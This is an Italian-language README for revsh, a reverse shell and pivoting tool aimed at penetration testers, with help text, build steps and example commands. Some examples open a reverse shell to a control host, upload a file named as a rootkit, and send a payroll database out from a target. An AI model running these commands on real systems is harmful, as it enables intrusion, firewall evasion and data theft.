
Una reverse shell con supporto del terminale, tunneling dei dati e capacità avanzate di pivoting.
revsh è uno strumento per stabilire reverse shell con supporto terminale, VPN reverse per pivoting avanzato, oltre al tunneling arbitrario di dati.
Cos'è una "reverse shell"?
Una reverse shell è una connessione di rete che concede accesso shell a un host remoto. A differenza di altri strumenti di accesso remoto come telnet e ssh, una reverse shell è avviata dall'host remoto. Questa tecnica di connessione in uscita dalla rete remota consente di eludere i firewall configurati per bloccare solo le connessioni in entrata.
Cos'è una "reverse VPN"?
revsh è in grado di collegare una scheda ethernet virtuale (tun/tap) a entrambe le estremità del suo tunnel crittografato. Queste schede possono quindi essere utilizzate per inoltrare pacchetti IP grezzi o frame ethernet. Se combinato con una regola NAT di Iptables, o il bridging di una scheda ethernet reale, ciò consente all'operatore di ricevere un indirizzo IP completamente instradabile sulla rete delle macchine target. Questo, in sostanza, è una VPN completa che ha effettuato una chiamata di connessione inversa all'operatore per eludere il filtraggio dei pacchetti in entrata e concedere all'operatore pieno accesso alla rete. (Vedi "Documentation/REVERSE_VPN.md" per maggiori informazioni.)
Cos'è una "bind shell"?
Una bind shell è una shell servita da una normale connessione di rete in avanti. revsh supporta sia shell reverse che bind. Per invocare una bind shell puoi usare il flag -b su entrambe le estremità della connessione, o invocare il binario come 'bindsh'.
Non posso semplicemente usare netcat?
Esistono molte tecniche per stabilire una reverse shell, ma questi metodi non forniscono supporto terminale. revsh consente una reverse shell la cui connessione è mediata da un pseudo-terminale, e quindi permette funzionalità come:
Inoltre, revsh offre anche le seguenti funzionalità:
revsh è pensato come uno strumento supplementare per il kit di un pentester che fornisce l'insieme completo di funzionalità terminale attraverso un tunnel crittografato.
Dove posso usare revsh?
revsh è stato sviluppato su x86_64 Linux. Ecco un breve elenco di combinazioni Arch / SO su cui è stato utilizzato:
(Se hai usato con successo revsh su un'altra piattaforma, fammi sapere e lo aggiungerò alla lista.)
empty@monkey:~$ revsh -h
Control: revsh -c [CONTROL_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
Target: revsh [TARGET_OPTIONS] [MUTUAL_OPTIONS] [ADDRESS[:PORT]]
ADDRESS The address of the control listener. (Default is "0.0.0.0".)
PORT The port of the control listener. (Default is "2200".)
CONTROL_OPTIONS:
-c Run in "command and control" mode. (Default is target mode.)
-a Enable Anonymous Diffie-Hellman mode. (Default is Ephemeral Diffie-Hellman.)
-d KEYS_DIR Reference the keys in an alternate directory. (Default is "~/.revsh/keys/".)
-f RC_FILE Reference an alternate rc file. (Default is "~/.revsh/rc".)
-s SHELL Invoke SHELL as the remote shell. (Default is "/bin/bash".)
-F LOG_FILE Log general use and errors to LOG_FILE. (No default set.)
TARGET_OPTIONS:
-t SEC Set the connection timeout to SEC seconds. (Default is "3600".)
-r SEC1,SEC2 Set the retry time to be SEC1 seconds, or (Default is "600,1200".)
to be random in the range from SEC1 to SEC2.
MUTUAL_OPTIONS:
-k Run in keep-alive mode.
Node will neither exit normally, nor timeout.
-L [LHOST:]LPORT:RHOST:RPORT
Static socket forwarding with a local listener
at LHOST:LPORT forwarding to RHOST:RPORT.
-R [RHOST:]RPORT:LHOST:LPORT
Static socket forwarding with a remote listener
at RHOST:RPORT forwarding to LHOST:LPORT.
-D [LHOST:]LPORT
Dynamic socket forwarding with a local listener
at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-B [RHOST:]RPORT
Dynamic socket forwarding with a remote
listener at LHOST:LPORT. (Socks 4, 4a, and 5. TCP connect only.)
-x Disable automatic setup of proxies. (Defaults: Proxy D2280 and tun/tap devices.)
-b Start in bind shell mode. (Default is reverse shell mode.)
The -b flag must be invoked on both ends.
-n Non-interactive netcat style data broker. (Default is interactive w/remote tty.)
No tty. Useful for copying files.
-v Verbose. -vv and -vvv increase verbosity.
-V Print the program and protocol versions.
-h Print this help.
-e Print out some usage examples.
Per prima cosa, devi compilare OpenSSL dal sorgente. (Vedi NOTA qui sotto.)
git clone https://github.com/openssl/openssl.git
cd openssl/
./config no-shared -static # These options are needed to build static applications against OpenSSL.
make && make test # We skip "make install" so we don't conflict with your systems default OpenSSL. We will build _revsh_ against the OpenSSL we just compiled in this tree.
cd ..
Ora compila revsh.
git clone https://github.com/emptymonkey/revsh.git
cd revsh
vi config.h # Set up new defaults that fit your situation.
vi Makefile # Check that the selected build environment is the one you want. (It probably already is by default.)
make # This *can* take a very long time, though it usually doesn't.
make install
vi ~/.revsh/rc # Add your favorite startup commands to really customize the feel of your remote shell.
revsh -h
NOTA: Con il rilascio di OpenSSL 1.1.0, OpenSSL deve essere compilato dal sorgente per essere utilizzato in un binario collegato staticamente. Compilare un binario collegato staticamente contro le librerie OpenSSL fornite con la maggior parte delle distribuzioni Linux (inclusa Kali) non funzionerà. (Se si compila, andrà in SEGFAULT.)
IP esempio host di controllo: 192.168.0.42
IP esempio host target: 192.168.0.66
Interactive example on default port '2200':
control: revsh -c
target: revsh 192.168.0.42
Interactive example on non-standard port '443':
control: revsh -c 192.168.0.42:443
target: revsh 192.168.0.42:443
Bindshell example:
target: revsh -b
control: revsh -c -b 192.168.0.66
Non-interactive file upload example:
control: cat ~/bin/rootkit | revsh -c -n
target: revsh 192.168.0.42 > ./totally_not_a_rootkit
Non-interactive file download example:
control: revsh -c -n >payroll_db.tar
target: cat payroll_db.tar | revsh 192.168.0.42
Non-interactive file download example across existing tunnel:
control: revsh -c -n 127.0.0.1:2291 >payroll_db.tar
target: cat payroll_db.tar | revsh 127.0.0.1:2290